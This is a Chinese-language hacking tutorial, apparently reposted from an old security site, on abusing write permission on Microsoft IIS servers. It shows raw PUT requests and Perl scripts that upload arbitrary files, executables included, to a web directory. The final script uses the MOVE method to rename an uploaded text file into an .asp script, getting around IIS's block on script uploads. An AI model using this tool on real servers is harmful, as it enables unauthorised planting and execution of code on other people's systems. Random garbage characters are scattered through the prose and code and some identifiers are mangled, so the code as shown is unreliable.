对iis写权限的利用

韩冰

作者：SuperHei 转自:http://www.4ngel.net

大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis写权限分析内容：

Z2 V- ~/ ]; s/ e

写权限

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

1 b6 l. Q" M7 l2 J2 _* W* f

PUT /dir/my_file.txt HTTP/1.1 Host: iis-server Content-Length: 10

　　这时服务器会返回一个100( 继续)的信息：

2 G, d0 O2 Q5 X0 B( y8 X$ r3 B+ y7 [HTTP/1.1 100 Continue w# c- @" L# t7 ?Server: Microsoft-IIS/5.0 2 t# s- T( [7 l! }6 t9 F8 VDate: Thu, 28 Feb 2002 15:56:00 GMT

　　接着，我们输入10个字母：

- b5 A0 ?; L# D! z. T3 [" I

AAAAAAAAAA

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

: r. M( {6 ^& \- K/ b2 ~

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 ) g% p; Y- t+ B4 V% o4 ODate: Thu, 28 Feb 2002 15:56:08 GMT Location: http://iis-server/dir/my_file.txt Content-Length: 0 Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND, 3 ~$ Q* b! w9 @3 hPROPPATCH, SEARCH, LOCK, UNLOCK

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

PUT /dir/my_file.txt HTTP/1.1 3 w. Z7 \3 q w$ SHost: iis-server Content-Length: 10

9 i/ d4 @2 m2 V# T8 h

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。 　　Host：是HTTP请求的发送地址 　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下：

) ?/ b- T4 P7 p% Z9 J! q/ w

#!/usr/bin/perl use I:Socket; $ARGC = @ARGV;

if ($ARGC != 4) { 　　print "usage0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n"; 1 j8 h9 S; I2 Z7 Y$ B( d　　exit; } & q) k% B3 a$ D: V: w$ i# r$ U9 j' D$host = @ARGV[0]; $port = @ARGV[1]; 7 [5 Q# Y. \3 a6 A$file = @ARGV[2]; $path = @ARGV[3];

@s=stat("$file"); + O% x8 h' N5 x, L+ b& h$size = $s[7]; #得到文件大小 * X3 X) {7 e) Z! d: \4 Uprint "$file size is $size bytes\n";

my $sock = I:Socket::INET->new(Proto =>"tcp", " R- f8 G, i% G, @PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; . V, l9 I6 \& H: g& [' D6 W _9 gprint $sock "PUT $path HTTP/1.1\n"; print $sock "Host: $host\n"; 7 w# R* Z. l; r1 k) V4 }print $sock "Content-Length: $size\n\n"; #sock连接

: n4 m1 t1 x" Y0 h4 y' F" ]

open(FILE,"$file"); binmode(FILE); #用2进制打开文件

while (read(FILE,$char,1024)) { #读取文件数据上传 　　print $sock "$char"; / j! C5 J5 g) A& `+ R} print $sock "\n\n"; " ~7 `" ] w3 g& D" b@req = <$sock>; print "please wait...\n"; sleep(2); if ($req[4]=~/200|201/){ " b5 H, _9 R& g7 `　　print "upfile Succeed!!!" ; #成功显示 g- D/ H1 [4 G, l} 8 E X' U9 g( u, V, B$ H+ Belse{ 　　print "upfile faile!!!\n\n"; 　　print @req;#如果失败显示返回错误 " Y& y; ?0 C1 g} close $sock; 4 ?2 x, {0 A+ R* h0 `4 G3 N3 B8 M; Pclose FILE;

　　下面我们测试下：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt kaka.txt size is 14 bytes please wait... ' O7 c; O) c) o. g% u) T0 D* a3 ]upfile Succeed!!!

6 u( v! O5 \+ T$ N/ k2 v, y3 ~

C:\Inetpub\Scripts>dir kaka.txt - |9 Y9 U, d2 \' R1 _/ j驱动器 C 中的卷没有标签。 * j$ Z6 L9 w d9 i( W卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:37 14 kaka.txt 1 个文件 14 字节 # x0 g7 P m( C$ p3 \0 个目录 3,871,080,448 可用字节

　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试下exe文件：

% B; w# s1 A- X& G

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe : @# w0 t0 h3 d& ]& e) Y, zperl.exe size is 20535 bytes 0 m9 U& y. ]' v% P; Tplease wait... upfile Succeed!!!

9 g# R3 o. Z9 I

C:\Inetpub\Scripts>dir perl.exe & m. f6 q+ A; A驱动器 C 中的卷没有标签。 & D1 P) J6 E6 G卷的序列号是 3CD1-479E

1 T+ b; b/ _) L" @

C:\Inetpub\Scripts 的目录

2004-05-05 00:42 20,535 perl.exe 5 D3 v& C- m! i( [& p. ]" L8 y1 个文件 20,535 字节 0 个目录 3,871,031,296 可用字节

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp kaka.asp size is 4 bytes please wait... ) z; J. h: G3 N9 Vupfile faile!!!

' a( E n3 v+ d" Q

HTTP/1.1 100 Continue Server: Microsoft-IIS/5.0 0 E: u1 c# U7 w8 ~/ k$ A. @Date: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden Server: Microsoft-IIS/5.0 Date: Tue, 04 May 2004 16:45:51 GMT Connection: close Content-Type: text/html Content-Length: 44

! r$ u1 q9 p* {' h0 e6 N

<body><h2>HTTP/1.1 403 Forbidden</h2></body>

5 Q8 q* {3 F9 P3 q# o

　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403 Forbidden错误。

9 o+ P' Y s! X. q; F

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

- z, i) h) b7 x: v5 b% I

% }3 |# a# |2 I. y x9 h% e

D:\>nc 127.0.0.1 80 : z; h& b6 K7 a; s$ q& C: dMOVE /scripts/kaka.txt HTTP/1.1 Host:127.0.0.1 Destination: http://127.0.0.1/scripts/kaka.asp

HTTP/1.1 201 Created Server: Microsoft-IIS/5.0 " g$ h6 T; [4 N% QDate: Sun, 05 Oct 2003 09:30:59 GMT ! N6 {/ ~1 k6 y0 o6 o- G8 r8 F PLocation: http://127.0.0.1/scripts/x.asp # z5 P' `% n, r1 C+ kContent-Type: text/xml & Z: @ O1 l4 j' G" J- |Content-Length: 0

& O$ x$ a0 X/ U8 \

　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了。我们还是用perl来完成。

$ e$ C6 `% @, ~* y% Q

　　测试写asp成功：

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp ************************************************************ codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569> ************************************************************ kaka.asp size is 4 bytes 1 H9 i' I6 b% ^9 D+ ^- a! Y i0 `please wait... upfile Succeed!!! " p9 Q3 J' D7 UModifyfile Succeed!!!

5 u' F* n! a! n; [: m w/ m

　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

' l7 B( @6 ]; P8 p& z! m5 F

#!/usr/bin/perl #The iiswrite Script

0 v9 {' V4 v; \0 C3 S# ^

use I:Socket; $ARGC = @ARGV; print "*" x 60; - k! @/ w" t( b& W2 Bprint "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n"; print "*" x 60,"\n"; if ($ARGC != 4) ! T! j/ S5 v# T, l{ + V q# @* v% D- @　　print "usage0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n"; 　　exit; } $host = @ARGV[0]; - f4 }+ V/ t" u( F0 z$port = @ARGV[1]; ' `! n% S# O5 P- F0 ~' c. E$path = @ARGV[3]; , `/ n) @8 _7 ]" t' d4 |( J4 \$file = @ARGV[2];

@path=split("/",$path); , f) F9 U" _2 g$any = pop(@path); $path1=join("/",@path); @s=stat("$file"); 9 p7 J ?# V# G$ [5 N" z" ^$size = $s[7];

' w4 ^! o$ r6 ^

print "$file size is $size bytes\n"; my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; print $sock "PUT $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; ; f: P. D: B! |. ^) g, xprint $sock "Content-Length: $size\n\n"; + q# N' t: X- W+ Z+ S4 L- Z! Iopen(FILE,"$file")|| die "Can't open $file"; binmode(FILE); while (read(FILE,$char,1024)) { 8 ?0 P* T4 w1 A% c6 y5 @　　print $sock "$char"; } ' y* [. |- e+ _print $sock "\n\n"; @req = <$sock>; 0 R* D! s9 J& T) lprint "please wait...\n"; ; j' o: Y/ J0 @% x- p& ksleep(2); , r5 G( G: a) e0 \& Y. Kif ($req[4]=~/200|201/){ 　　print "upfile Succeed!!!\n" ; } else{ 　　print "upfile faile!!!\n"; } - B* B. w3 I" c7 w% [( uclose $sock; close FILE;

my $sock = I:Socket::INET->new(Proto =>"tcp", PeerAddr =>$host, PeerPort =>$port) || die "Sorry! Could not connect to $host \n"; ( D3 \' S! X, V4 X2 `7 zprint $sock "MOVE $path1/lanker.txt HTTP/1.1\n"; print $sock "Host: $host\n"; print $sock "Destination:http://$hostport$path\n\n\n\n"; : ]- v, s+ O7 l@req = <$sock>; 0 S6 `( j& f+ ]+ i; G; u1 Iif ($req[0]=~/20\d+|/){ 　　print "Modifyfile Succeed!!!" ; ; D/ I* L6 j; }9 K} else{ + P. x3 b! a2 A: }* R　　print "upfile faile!!!"; . A M1 O% \. L4 Y7 B. b) W; Y} 0 P# E; v. L. v% J& U Z' s6 U2 }close $sock